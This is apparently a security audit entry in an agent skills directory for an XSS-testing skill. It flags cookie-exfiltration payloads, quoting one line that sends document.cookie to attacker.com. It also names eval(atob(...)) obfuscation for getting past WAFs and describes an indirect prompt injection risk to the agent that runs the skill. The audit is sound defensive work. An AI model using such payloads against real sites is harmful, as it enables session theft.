The Agent Skills Directory

[DATA_EXFILTRATION]: The skill's reference documentation (e.g., references/csp-bypass-and-dom-xss.md) contains multiple payloads and techniques designed to exfiltrate sensitive data, such as document.cookie, to external non-whitelisted domains like attacker.com. These techniques include:
- Location redirects (document.location = "https://attacker.com/?" + document.cookie).
- DNS Prefetching for out-of-band data exfiltration.
- WebRTC ICE server requests to exfiltrate data through STUN servers.
- Meta refresh tags and CSS @font-face rules for data harvesting.
[OBFUSCATION]: The documentation (e.g., references/xss-bypass-and-types.md) provides specific examples of using Base64 encoding combined with dynamic execution (eval(atob(...))) to conceal malicious payloads and bypass security filters like WAFs.
[INDIRECT_PROMPT_INJECTION]: The skill involves the agent processing and analyzing untrusted external content (HTTP responses, headers, and reflected inputs) during vulnerability testing. This represents an attack surface where malicious instructions or deceptive content embedded in the target application's responses could potentially influence the agent's behavior.
- Ingestion points: Web responses and HTTP headers processed via http_request (SKILL.md, AGENT.md).
- Boundary markers: No explicit instructions or delimiters for isolating external untrusted data are provided.
- Capability inventory: Access to http_request and python3 (AGENT.md).
- Sanitization: The skill lacks automated sanitization for content analyzed by the agent, relying on the agent's manual assessment.

xss-methodology